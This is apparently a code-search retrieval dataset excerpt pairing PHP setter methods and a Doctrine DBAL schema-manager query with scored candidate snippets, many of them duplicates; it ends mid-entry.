[ { "docid": "ee6b4a2239e102cfeeb730201b859b9b", "score": "0.8802112", "text": "public function setName($name)\n {\n $this->value = $name;\n }", "title": "" }, { "docid": "85fe09cf25316766135f2227186bd7cd", "score": "0.8714409", "text": "function setName($value) {\n $this->name = $value;\n }", "title": "" }, { "docid": "85fe09cf25316766135f2227186bd7cd", "score": "0.8714409", "text": "function setName($value) {\n $this->name = $value;\n }", "title": "" }, { "docid": "85fe09cf25316766135f2227186bd7cd", "score": "0.8714409", "text": "function setName($value) {\n $this->name = $value;\n }", "title": "" }, { "docid": "96194d8994b19c78015d99e337ec7f1e", "score": "0.8615634", "text": "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "title": "" }, { "docid": "b36018b1600aad42083576a2105f4f9e", "score": "0.85795075", "text": "public function setName($value) {\n\t\t$this->name = $value;\n\t}", "title": "" }, { "docid": "b36018b1600aad42083576a2105f4f9e", "score": "0.85795075", "text": "public function setName($value) {\n\t\t$this->name = $value;\n\t}", "title": "" }, { "docid": "f553c91b7df65de9a0a7b4a8ae96bed9", "score": "0.8571112", "text": "public function setName($value) \n {\n $this->name = $value;\n }", "title": "" }, { "docid": "a5ab069184d29d9a9a5acca766aee2b2", "score": "0.8568124", "text": "public function setName($value)\r\n {\r\n $this->name = $value;\r\n }", "title": "" }, { "docid": "7c8b41d49c106c636c23dc8964609302", "score": "0.84817886", "text": "public function __set($name, $value){\n $this->name = $value;\n }", "title": "" }, { "docid": "fc807f7f6775002d6685eff10032fa44", "score": "0.8457143", "text": "public function setName($value)\n\t\t{\n\t\t\t$this->name = $value;\n\t\t}", "title": "" }, { "docid": "b23464c3568a9f8b5f8af09687d125b3", "score": "0.8442377", "text": "public function setName( $val ) {\n $this->_name = $val;\n }", "title": "" }, { "docid": "442f245de4a26be135328e5eb53c611e", "score": "0.84265536", "text": "function setName( $value )\r\n {\r\n $this->Name = $value;\r\n }", "title": "" }, { "docid": "442f245de4a26be135328e5eb53c611e", "score": "0.84265536", "text": "function setName( $value )\r\n {\r\n $this->Name = $value;\r\n }", "title": "" }, { "docid": "56526ffa446871dae754c057083c370d", "score": "0.841377", "text": "public function setName($name) {\n\t\t$this->chkData(array('name' => $name));\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "43e9702a4a358cc9608b2568f7378a9e", "score": "0.84068024", "text": "public function setName($value)\n {\n $this->name = $value;\n }", "title": "" }, { "docid": "43e9702a4a358cc9608b2568f7378a9e", "score": "0.84068024", "text": "public function setName($value)\n {\n $this->name = $value;\n }", "title": "" }, { "docid": "43e9702a4a358cc9608b2568f7378a9e", "score": "0.84068024", "text": "public function setName($value)\n {\n $this->name = $value;\n }", "title": "" }, { "docid": "d9925f77d4233d0f12bc08850a0df77d", "score": "0.8402516", "text": "public function setName($value) {\n\t\t$this->Name = $value;\n\t}", "title": "" }, { "docid": "21100dd8ae8c0a41312d34c2fda2d7d4", "score": "0.83887655", "text": "function setName( $value )\n {\n $this->Name = $value;\n }", "title": "" }, { "docid": "d18fa6dec2e4cc79f9a3f179dfcb30db", "score": "0.83354545", "text": "public function setName($name){\n\t\t\t$this->name = $name;\n\t\t}", "title": "" }, { "docid": "cd5d7884118c61ab014bdc7888d3557b", "score": "0.8321707", "text": "public function setName($name) { $this->_name = $name; }", "title": "" }, { "docid": "aa600576a5dbef5c8f9fa87c3b7082c5", "score": "0.8311328", "text": "public function setName($name){\n\t\t$this->_name = $name;\n\t}", "title": "" }, { "docid": "e6995810608a2992c07ce40a8ead6d9b", "score": "0.8306796", "text": "public function __set($name, $value) {\n $this->name = $value;\n }", "title": "" }, { "docid": "56ed69125b0da177d659ece0695674ea", "score": "0.8259987", "text": "function set_name($name){\r\n\r\n\t\tif($this->name != $name){\r\n\t\t\t$this->name = $name;\r\n\t\t\t$this->set_info = true;\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "cdb4923863effc798e664db9137ef686", "score": "0.82528824", "text": "function setName( $name ) {\n $this->__name = $name;\n }", "title": "" }, { "docid": "cf94e129c02f242e8924a1007bbc8e75", "score": "0.82350886", "text": "public function setName($name) {\r\n $this->name = (string) $name;\r\n }", "title": "" }, { "docid": "42c7645f045d3c8d56ed9889d124fcc7", "score": "0.82334137", "text": "public function setName($name) {\n $this->name= $name;\n }", "title": "" }, { "docid": "7a66e92b05752d7b4c0bca24fa1e649b", "score": "0.8221911", "text": "public function setName($name) {\n\t\t\t$this->name = $name;\n\t\t}", "title": "" }, { "docid": "7d3d5e71ce6eb209df36ce8cc7e5b069", "score": "0.82164747", "text": "public function setName($name) {\n $this->name = $name;\n \n $this->setAttribute('name', $name);\n }", "title": "" }, { "docid": "27e2906d5ecaf11532ebec39d7997e3f", "score": "0.821261", "text": "public function setName($name)\n {\n $this->name = $this->filterVarString($name);\n }", "title": "" }, { "docid": "50a08d8ee37df4b3da985534b0be6ee0", "score": "0.8202579", "text": "public function setName($name){\n $this->name = $name;\n }", "title": "" }, { "docid": "e9d350febd66fba7df8978252085bb36", "score": "0.81960565", "text": "public function setName($name){\r\n $this->$name = $name;\r\n }", "title": "" }, { "docid": "4e131b2302d6c56eada534a04e9b4649", "score": "0.8194887", "text": "public function setName(string $name)\n\t{\n\t\t$this->name=$name; \n\t\t$this->keyModified['name'] = 1; \n\n\t}", "title": "" }, { "docid": "0721082f122d613863e8b517880c8afe", "score": "0.81810874", "text": "public function setName($name){\n\t\t$this->name=$name;\n\t}", "title": "" }, { "docid": "0f95ce83fb6198bf77de7cff08944ba4", "score": "0.8176082", "text": "function setName($name){\r\n\t\t$this->name = $name;\r\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "67e6e4174f79bcab1e7b1f673be968c7", "score": "0.8175531", "text": "public function setName($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "b8629b46f9e053d370b2a20e35234b73", "score": "0.81725377", "text": "function set_name($new_name) {\n\t\t\n\t\t\t$this->name = $new_name;\n\t\t}", "title": "" }, { "docid": "6cbc0e998fff6923c8165ef65dced0c1", "score": "0.81718796", "text": "public function setName ($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "66a5a026397e82c9406a1a6ff463a578", "score": "0.8166011", "text": "private function _setName( $name )\n {\n $this->_name = $name;\n }", "title": "" }, { "docid": "03f725de3daf22c6504605f980bf39c3", "score": "0.81632334", "text": "function set_name($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "c4bfdd6642fe2124ae2533d8235068c3", "score": "0.8162085", "text": "public function setName($name) {\r\n $this->name = $name;\r\n }", "title": "" }, { "docid": "e2049f6a971aab058263707e00d59753", "score": "0.8156591", "text": "function setName($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "950adf0f7af01843eb2e9f49ff54bb3c", "score": "0.81512445", "text": "public function setName($name) \n {\n $this->_name = $name; \n }", "title": "" }, { "docid": "b842e3106a95f9cad51b4f4578b7a333", "score": "0.8146928", "text": "public function setName( $name )\n\t{\n\t\t$this->setAttribute( \"name\", $name );\n\t}", "title": "" }, { "docid": "b842e3106a95f9cad51b4f4578b7a333", "score": "0.8146928", "text": "public function setName( $name )\n\t{\n\t\t$this->setAttribute( \"name\", $name );\n\t}", "title": "" }, { "docid": "3a7479516b5f2c3f7bc17ea139fde3b3", "score": "0.8137124", "text": "public function setName($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "a2b828ec491775f235e84eb47555028a", "score": "0.81091344", "text": "public function set_name($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "be2ce27ef605083fe3364fce3c147c36", "score": "0.8102944", "text": "function setName($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "79e2543bfacc9456a056113721c830b9", "score": "0.8097918", "text": "protected function set_name($name) {\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "5417a015aab55842aa3508a278a1b336", "score": "0.80978113", "text": "public function setName($name)\n {\n $this->name = $name; \n }", "title": "" }, { "docid": "86bc3f1d6c10ff5c421d4e5f82814d7c", "score": "0.809643", "text": "public function setName($name)\n {\n $this->setAttribute('name', $name);\n }", "title": "" }, { "docid": "65542b583217c55d5ba1814577d8b460", "score": "0.80823565", "text": "public function setName($name)\r\n {\r\n $this->name = $name;\r\n }", "title": "" }, { "docid": "b99d6dcdc0692aef25574a64a37e792c", "score": "0.8079561", "text": "public function setName($name)\n\t\t{\n\t\t\t$this->name = $name;\n\t\t}", "title": "" }, { "docid": "86f8ada216f617910eb04e1fc9669db5", "score": "0.80597526", "text": "public function setName($name)\n\t{\n\t\t$this->name = (string) $name;\n\t}", "title": "" }, { "docid": "aee57575bc04805b3a226fc6e211f934", "score": "0.8056471", "text": "public function setName(string $name)\n\t{\n\t\t$this->addKeyValue('name', $name); \n\n\t}", "title": "" }, { "docid": "e18d55dadfa75c16e646b231661cd7a5", "score": "0.8055", "text": "public function setName($name) \n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "bac4d9c731955f9e311a66e765a84d95", "score": "0.8052745", "text": "function setName($name)\r\n\t{\r\n\t\t$this->name = $name;\r\n\t}", "title": "" }, { "docid": "98bcdd0c730ecdf25e325b4d743f3b25", "score": "0.8050945", "text": "public function setName($name)\n {\n $this->_name = $name;\n }", "title": "" }, { "docid": "98bcdd0c730ecdf25e325b4d743f3b25", "score": "0.8050945", "text": "public function setName($name)\n {\n $this->_name = $name;\n }", "title": "" }, { "docid": "98bcdd0c730ecdf25e325b4d743f3b25", "score": "0.8050945", "text": "public function setName($name)\n {\n $this->_name = $name;\n }", "title": "" }, { "docid": "f22f450542024d74089a134d3a448b7c", "score": "0.80440176", "text": "public function setName($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "f22f450542024d74089a134d3a448b7c", "score": "0.80440176", "text": "public function setName($name) {\n $this->name = $name;\n }", "title": "" }, { "docid": "1bc9cb630f14c75f78f241d1caf98dfe", "score": "0.8039942", "text": "protected function set_name($name) {\n\t\t$this->name = sanitize_key($name);\n\t}", "title": "" }, { "docid": "1893656d637e0ed6f882b37ef151ea34", "score": "0.80303967", "text": "public function setName($name)\n {\n $this->name = $this->recupValeur($name);\n }", "title": "" }, { "docid": "84f760a0a7d5ae7f4d8f9a6d55981c5c", "score": "0.80192417", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "8fdbd2073d5bcbbf56c21a3f463444af", "score": "0.801627", "text": "public function setName($value);", "title": "" }, { "docid": "8fdbd2073d5bcbbf56c21a3f463444af", "score": "0.801627", "text": "public function setName($value);", "title": "" }, { "docid": "6e61d6aa00cacaadb8a34ecf9951899c", "score": "0.80102247", "text": "public function setName($name) {\n $this->name = $name;\n\n }", "title": "" }, { "docid": "7e8b17f952ec510469595ee02cb83d65", "score": "0.80100316", "text": "public function setName( $name )\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "7e8b17f952ec510469595ee02cb83d65", "score": "0.80100316", "text": "public function setName( $name )\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "e56a78c92f56b4906d39a19ccaa7034f", "score": "0.80079573", "text": "public function setName($name)\n {\n $this->name = (string) $name;\n }", "title": "" }, { "docid": "e56a78c92f56b4906d39a19ccaa7034f", "score": "0.80079573", "text": "public function setName($name)\n {\n $this->name = (string) $name;\n }", "title": "" }, { "docid": "46ac3d41880133db95f0aa44a9bfe3b8", "score": "0.8007393", "text": "function setName($name){\n $this->name=$name;\n }", "title": "" }, { "docid": "3d19817ded6ba3787843e404a6879102", "score": "0.8005156", "text": "function setName($name) {\n $this->name=$name;\n }", "title": "" }, { "docid": "3d19817ded6ba3787843e404a6879102", "score": "0.8005156", "text": "function setName($name) {\n $this->name=$name;\n }", "title": "" }, { "docid": "4e7c929e2151cd8ff177dbb6b1cd9752", "score": "0.80049235", "text": "public function setName($name)\n\t{\n\t\t$this -> name = $name;\n\t}", "title": "" }, { "docid": "4ee9156a68cc86d63d7ac44eaa9e5d92", "score": "0.8002578", "text": "public function setName( $name )\r\n\t{\r\n\t\t$this->name = $name;\r\n\t}", "title": "" }, { "docid": "701530ab3e85c1a61960a9d342ad34ff", "score": "0.79953796", "text": "public function setName($name)\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "701530ab3e85c1a61960a9d342ad34ff", "score": "0.79953796", "text": "public function setName($name)\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "701530ab3e85c1a61960a9d342ad34ff", "score": "0.79953796", "text": "public function setName($name)\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "701530ab3e85c1a61960a9d342ad34ff", "score": "0.79953796", "text": "public function setName($name)\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "701530ab3e85c1a61960a9d342ad34ff", "score": "0.79953796", "text": "public function setName($name)\n\t{\n\t\t$this->name = $name;\n\t}", "title": "" }, { "docid": "fcf7504ba951a1b51aab014e58eed5f2", "score": "0.79857606", "text": "function setName( $value )\n { \n if ( $this->State_ == \"Dirty\" )\n $this->get( $this->ID );\n $this->Name = $value;\n }", "title": "" }, { "docid": "f8756a047c58ce14052dca75d5297b4a", "score": "0.7976422", "text": "public function setname($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" }, { "docid": "355443e2257b7942d43d04a5f132e44b", "score": "0.7921477", "text": "public function setName($name)\n {\n $this->name = $name;\n }", "title": "" } ]
4ed94cc8dd0c99e7a427484199c28f85
Get the Doctrine DBAL schema manager for the connection.
[ { "docid": "acfdc77cefd7d7a5676bae302bd5faaa", "score": "0.8462875", "text": "public function getDoctrineSchemaManager()\n {\n return $this->getDoctrineDriver ()->getSchemaManager ( $this->getDoctrineConnection () );\n }", "title": "" } ]
[ { "docid": "f2e08425e4c2e10fd7db6259bd98bc5c", "score": "0.7770266", "text": "public static function getDoctrineSchemaManager()\n {\n }", "title": "" }, { "docid": "38bea8051dc20d2adf7fa3d7683b6644", "score": "0.7451277", "text": "public function getSchemaManager(Connection $conn)\n {\n return new \\Doctrine\\DBAL\\Schema\\SQLServerSchemaManager($conn);\n }", "title": "" }, { "docid": "167f2433304c210565f3b22653561a6b", "score": "0.7104097", "text": "public function getSchemaManager(Connection $conn) {\n return $this->wrappedDriver($conn)->getSchemaManager($conn);\n }", "title": "" }, { "docid": "222f90258b558e24f52ae3a9bafb1b53", "score": "0.68952215", "text": "public function createSchemaManager(): AbstractSchemaManager\n {\n return $this->schemaManagerFactory->createSchemaManager($this);\n }", "title": "" }, { "docid": "5d5f4a49cf69ca2062bbdf5cac751162", "score": "0.6808766", "text": "public function getDoctrineConnection()\n {\n $driver = $this->getDoctrineDriver ();\n $data = array (\n 'pdo' => $this->pdo,\n 'dbname' => $this->getConfig ( 'database' )\n );\n return new \\Doctrine\\DBAL\\Connection ( $data, $driver );\n }", "title": "" }, { "docid": "6eaddad5eaa99651ed37a06ae07ed394", "score": "0.67454875", "text": "public function getDatabaseManager(): DatabaseManager\n {\n return $this->manager;\n }", "title": "" }, { "docid": "6e6a972122f688847f6621873b4d0304", "score": "0.67328143", "text": "public function getConnection()\n {\n $eManager = $this->getServiceLocator();\n $entityManager = $eManager->get('doctObjMngr');\n return $entityManager;\n }", "title": "" }, { "docid": "f908960fc7aab5bc55844854f48162b5", "score": "0.6615522", "text": "public function getDBManagerHandler(): DatabaseManager\n {\n if (empty($this->dbManager)) {\n $this->dbManager = new DatabaseManager(Config::get('database'), new ConnectionFactory());\n }\n return $this->dbManager;\n }", "title": "" }, { "docid": "401789fded007418f038b56bcccf81e6", "score": "0.6547057", "text": "public function getDoctrineConnection()\n {\n if(self::$doctrine_connection === null) {\n \n $config = new \\Doctrine\\DBAL\\Configuration();\n \n $connectionParams = array(\n 'dbname' => $GLOBALS['DB_DBNAME'],\n 'user' => $GLOBALS['DB_USER'],\n 'password' => $GLOBALS['DB_PASSWD'],\n 'host' => 'localhost',\n 'driver' => 'pdo_mysql',\n );\n \n self::$doctrine_connection = \\Doctrine\\DBAL\\DriverManager::getConnection($connectionParams, $config);\n }\n \n return self::$doctrine_connection;\n \n }", "title": "" }, { "docid": "a98bb45ba18b3693f3996b62eda93fb1", "score": "0.6328958", "text": "public function getSchemaManager(Connection $conn)\n {\n // TODO: Implement getSchemaManager() method.\n }", "title": "" }, { "docid": "164194545fbfa205b1cc5024aa1245fd", "score": "0.6283389", "text": "private function getDatabaseManager()\n {\n $file = require __DIR__ . '/../../src/settings.php';\n $dbSettings = $file['settings']['db'];\n\n $capsule = new \\Illuminate\\Database\\Capsule\\Manager;\n $capsule->addConnection($dbSettings);\n $capsule->setAsGlobal();\n $capsule->bootEloquent();\n return $capsule->getDatabaseManager();\n }", "title": "" }, { "docid": "6e3227c1bd0f86cde0bd34d1dbd53174", "score": "0.6250925", "text": "public function getDBManagerHandler()\n {\n\t\tif (empty($this->dbManager)) {\n\t\t\t$this->dbManager = new DatabaseManager($this->config['database'], new ConnectionFactory());\n\t\t}\n\t\treturn $this->dbManager;\n\t}", "title": "" }, { "docid": "c41905510aa366dcb159432dfb5ea7af", "score": "0.6226873", "text": "public static function getDoctrineConnection()\n {\n }", "title": "" }, { "docid": "acc86ce294fd61e899d24e9a64968345", "score": "0.61571467", "text": "protected function getDatabaseConnection( )\n {\n if( sfConfig::get('sf_use_database') )\n {\n try\n {\n return Doctrine_Manager::connection();\n }\n catch( Doctrine_Connection_Exception $e )\n {\n new sfDatabaseManager(sfContext::getInstance()->getConfiguration());\n return Doctrine_Manager::connection();\n }\n }\n\n return null;\n }", "title": "" }, { "docid": "1a50ada24d6d491feb324183db3bc5d4", "score": "0.613621", "text": "public function getORM(): EntityManager\n {\n return $this->orm;\n }", "title": "" }, { "docid": "0f4def6292baa416d2836684be0ed204", "score": "0.607982", "text": "public function getEntityManager()\n {\n return $this['orm.em'];\n }", "title": "" }, { "docid": "157894868e900149b838ed0ebacfd300", "score": "0.6070454", "text": "public static function getEntityManager()\n {\n $factory = new \\Source44\\Doctrine\\Factory();\n return $factory->createEntityManager();\n }", "title": "" }, { "docid": "e767dd6758234fd8edfb3ac1ce7d6215", "score": "0.6059661", "text": "public function getEntityManager()\n {\n return $this\n ->container\n ->get('doctrine')\n ->getManager();\n }", "title": "" }, { "docid": "7eb87c89987ad90039f94ec85c3a2130", "score": "0.60548687", "text": "protected function entityManager() {\n\t\treturn $this->serviceLocator->get('Doctrine\\ORM\\EntityManager');\n\t}", "title": "" }, { "docid": "a7d331612a67f03f08fe0124a92a9d9c", "score": "0.6047006", "text": "public function getManager($name = null)\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "a6c62dfcf226952d8f0f750df3b8a27f", "score": "0.6024", "text": "protected function getSchemaBuilder()\n {\n return $this->getConnection()->getSchemaBuilder();\n }", "title": "" }, { "docid": "a1286d22d117eecf5747c8c65a7efc62", "score": "0.59852827", "text": "public function getSchema() {\n return Cool::getInstance()->getSchema($this->databaseName);\n }", "title": "" }, { "docid": "43520e977cd173fd6ddd8ffa79aaa2bc", "score": "0.59690744", "text": "public function db(){\n\treturn Manager::getManager($this);\n }", "title": "" }, { "docid": "17883c067f7d900184855ec6a0c4e137", "score": "0.59640056", "text": "public static function schema($connection = null)\n {\n if (!static::$instance) {\n static::setInstance();\n }\n return static::$instance->connection($connection)->getSchemaBuilder();\n }", "title": "" }, { "docid": "f4cb8bb30dca9bcc85430b6c639c9c47", "score": "0.59534836", "text": "public function getSchema()\n {\n if ($this->schema === null) {\n $this->getSchemaTables();\n }\n\n return $this->schema;\n }", "title": "" }, { "docid": "8f34acd1c06c9800e4ff2d4fced811ca", "score": "0.59258485", "text": "protected function getDoctrine_Dbal_DefaultConnectionService()\n {\n $a = new \\Doctrine\\DBAL\\Logging\\LoggerChain();\n $a->addLogger(new \\Symfony\\Bridge\\Doctrine\\Logger\\DbalLogger(${($_ = isset($this->services['logger']) ? $this->services['logger'] : $this->services['logger'] = new \\Symfony\\Component\\HttpKernel\\Log\\Logger()) && false ?: '_'}, NULL));\n $a->addLogger(new \\Doctrine\\DBAL\\Logging\\DebugStack());\n\n $b = new \\Doctrine\\DBAL\\Configuration();\n $b->setSQLLogger($a);\n\n $c = new \\Symfony\\Bridge\\Doctrine\\ContainerAwareEventManager($this);\n $c->addEventListener(array(0 => 'loadClassMetadata'), ${($_ = isset($this->services['doctrine.orm.default_listeners.attach_entity_listeners']) ? $this->services['doctrine.orm.default_listeners.attach_entity_listeners'] : $this->services['doctrine.orm.default_listeners.attach_entity_listeners'] = new \\Doctrine\\ORM\\Tools\\AttachEntityListenersListener()) && false ?: '_'});\n\n return $this->services['doctrine.dbal.default_connection'] = ${($_ = isset($this->services['doctrine.dbal.connection_factory']) ? $this->services['doctrine.dbal.connection_factory'] : $this->services['doctrine.dbal.connection_factory'] = new \\Doctrine\\Bundle\\DoctrineBundle\\ConnectionFactory(array())) && false ?: '_'}->createConnection(array('driver' => 'pdo_mysql', 'charset' => 'utf8mb4', 'url' => $this->getEnv('resolve:DATABASE_URL'), 'host' => 'localhost', 'port' => NULL, 'user' => 'root', 'password' => NULL, 'driverOptions' => array(), 'serverVersion' => '5.7', 'defaultTableOptions' => array('charset' => 'utf8mb4', 'collate' => 'utf8mb4_unicode_ci')), $b, $c, array());\n }", "title": "" }, { "docid": "d1c50041b022945948e8ba3e236ddc08", "score": "0.59195787", "text": "public function getManager() {\n return $this->em;\n }", "title": "" }, { "docid": "99a2acebdda9a5b8deab5e9725526e23", "score": "0.5896977", "text": "protected function getDoctrine_Dbal_ConnectionFactoryService()\n {\n return $this->services['doctrine.dbal.connection_factory'] = new \\Doctrine\\Bundle\\DoctrineBundle\\ConnectionFactory(array());\n }", "title": "" }, { "docid": "99a2acebdda9a5b8deab5e9725526e23", "score": "0.5896977", "text": "protected function getDoctrine_Dbal_ConnectionFactoryService()\n {\n return $this->services['doctrine.dbal.connection_factory'] = new \\Doctrine\\Bundle\\DoctrineBundle\\ConnectionFactory(array());\n }", "title": "" }, { "docid": "1a0bcaff18afe199324434be4f06f06a", "score": "0.5883611", "text": "public function getSchema()\n\t{\n\t\tswitch($this->driver)\n\t\t{\n\t\t\tcase 'pgsql':\n\t\t\t\treturn new Schema\\PostgreSQL($this->c, $this->i);\n\t\t\tcase 'mysql':\n\t\t\t\treturn new Schema\\MySQL($this->c, $this->i);\n\t\t\tcase 'sqlite':\n\t\t\t\treturn new Schema\\SQLite($this->c, $this->i);\n\t\t\tdefault:\n\t\t\t\tthrow new Exception('A Migration driver for ' . $this->driver . ' has not be created');\n\t\t}\n\t}", "title": "" }, { "docid": "0dace05b2fcd3ec3e6d5d1f5bbd1b814", "score": "0.5865598", "text": "public function getDoctrine(): ManagerRegistry\n {\n if ( !$this->getContainer()->has( 'doctrine' ) ) {\n throw new LogicException( 'The DoctrineBundle is not registered in your application. Try running \"composer require symfony/orm-pack\".' );\n }\n\n return $this->getContainer()->get( 'doctrine' );\n }", "title": "" }, { "docid": "0cf5feec3f25102503eab038e8ff5ac4", "score": "0.586369", "text": "public function getEntityManager()\n {\n return $this->container->get('doctrine')->getManager($this->emName);\n }", "title": "" }, { "docid": "9f0d6eb6d2e76e96b1545887b878fd49", "score": "0.5846849", "text": "protected function getDoctrine()\n {\n $config = $this->getMockAnnotatedConfig();\n $dm = \\Doctrine\\ODM\\MongoDB\\DocumentManager::create(null, $config);\n\n return $this->doctrine = m::mock(array(\n 'getManager' => $dm,\n 'getManagers' => array($dm),\n 'getManagerForClass' => $dm\n ));\n\n // $conn = array(\n // 'driver' => 'pdo_sqlite',\n // 'memory' => true,\n // // 'path' => __DIR__.'/../db.sqlite',\n // );\n\n // $config = $this->getMockAnnotatedConfig();\n // $em = EntityManager::create($conn, $config);\n\n // $entities = array(\n // 'Khepin\\\\Fixture\\\\Entity\\\\Car',\n // 'Khepin\\\\Fixture\\\\Entity\\\\Driver'\n // );\n\n // $schema = array_map(function($class) use ($em) {\n // return $em->getClassMetadata($class);\n // }, $entities);\n\n // $schemaTool = new SchemaTool($em);\n // $schemaTool->dropSchema(array());\n // $schemaTool->createSchema($schema);\n // return $this->doctrine = m::mock(array(\n // 'getEntityManager' => $em,\n // 'getManager' => $em,\n // )\n // );\n }", "title": "" }, { "docid": "3fdc93940415677976b172d18d24c3c9", "score": "0.58464605", "text": "protected function getDoctrineService()\n {\n return $this->services['doctrine'] = new \\Doctrine\\Bundle\\DoctrineBundle\\Registry($this, array('default' => 'doctrine.dbal.default_connection'), array('default' => 'doctrine.orm.default_entity_manager'), 'default', 'default');\n }", "title": "" }, { "docid": "266553cef76a97985dd9da02938e5f9a", "score": "0.58319277", "text": "protected function getEntityManager()\n {\n return $this->getContainer()->get('doctrine')->getManager();\n }", "title": "" }, { "docid": "e8b0b17aa822dc6a0d81c9d5b1453a42", "score": "0.58099985", "text": "protected function schema()\n {\n return $this->connection()->getSchemaBuilder();\n }", "title": "" }, { "docid": "e8b0b17aa822dc6a0d81c9d5b1453a42", "score": "0.58099985", "text": "protected function schema()\n {\n return $this->connection()->getSchemaBuilder();\n }", "title": "" }, { "docid": "e8b0b17aa822dc6a0d81c9d5b1453a42", "score": "0.58099985", "text": "protected function schema()\n {\n return $this->connection()->getSchemaBuilder();\n }", "title": "" }, { "docid": "16c072c20d0df83aef914fa3418fff83", "score": "0.5798503", "text": "public final function getSystemDoctrineService(): DoctrineService\n {\n return $this->systemDoctrineService;\n }", "title": "" }, { "docid": "91c81f58ae51544eeb9b580da157d22d", "score": "0.579703", "text": "public static function getDatabaseManager($reset = false)\n {\n if ($reset) {\n self::reset();\n }\n if (empty(self::$dbm)) {\n $dbConfig = SugarConfig::getDatabaseConfiguration();\n $dbmClassName = $dbConfig['dbManagerClassName'];\n $dbmClassPath = $dbConfig['dbManagerClassPath'];\n $dbmFileName = \"{$dbmClassPath}/{$dbmClassName}.php\";\n if (file_exists($dbmFileName)) {\n include_once($dbmFileName);\n }\n self::$dbm = SugarClassLoader::getInstance($dbmClassName);\n self::$dbm->dbConfig = $dbConfig;\n self::$dbm->connect();\n }\n return self::$dbm;\n }", "title": "" }, { "docid": "1d7503dd1319a75ea7606dfe7703cee1", "score": "0.57770044", "text": "public function getEntityManager($name = null)\n {\n return $this->getDoctrine()->getManager($name);\n }", "title": "" }, { "docid": "af833d127890954b611575706c050091", "score": "0.5764817", "text": "public function getObjectManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "26ca6d9402c9ad75776810954d2c9647", "score": "0.5762971", "text": "public function getDoctrine()\n {\n if (!$this->getContainer()->has('doctrine')) {\n throw new \\LogicException('The DoctrineBundle is not registered in your application.');\n }\n\n return $this->getContainer()->get('doctrine');\n }", "title": "" }, { "docid": "b83759b4d30db8eda17f5d96281bf5ad", "score": "0.5738452", "text": "public function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "b83759b4d30db8eda17f5d96281bf5ad", "score": "0.5738452", "text": "public function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "f5beeeed63dae1db303de05ce5cd8dd1", "score": "0.57374054", "text": "final protected function getConnection(): Connection\n {\n return $this->em->getConnection();\n }", "title": "" }, { "docid": "1e2e834325adc77b2b3e8f3c1fdf6487", "score": "0.5731012", "text": "protected function schema($connection = 'default')\n {\n return $this->connection($connection)->getSchemaBuilder();\n }", "title": "" }, { "docid": "1e2e834325adc77b2b3e8f3c1fdf6487", "score": "0.5731012", "text": "protected function schema($connection = 'default')\n {\n return $this->connection($connection)->getSchemaBuilder();\n }", "title": "" }, { "docid": "1e963c82e30a154872e3bba17582529d", "score": "0.57193094", "text": "public function getSchemaBuilder(): 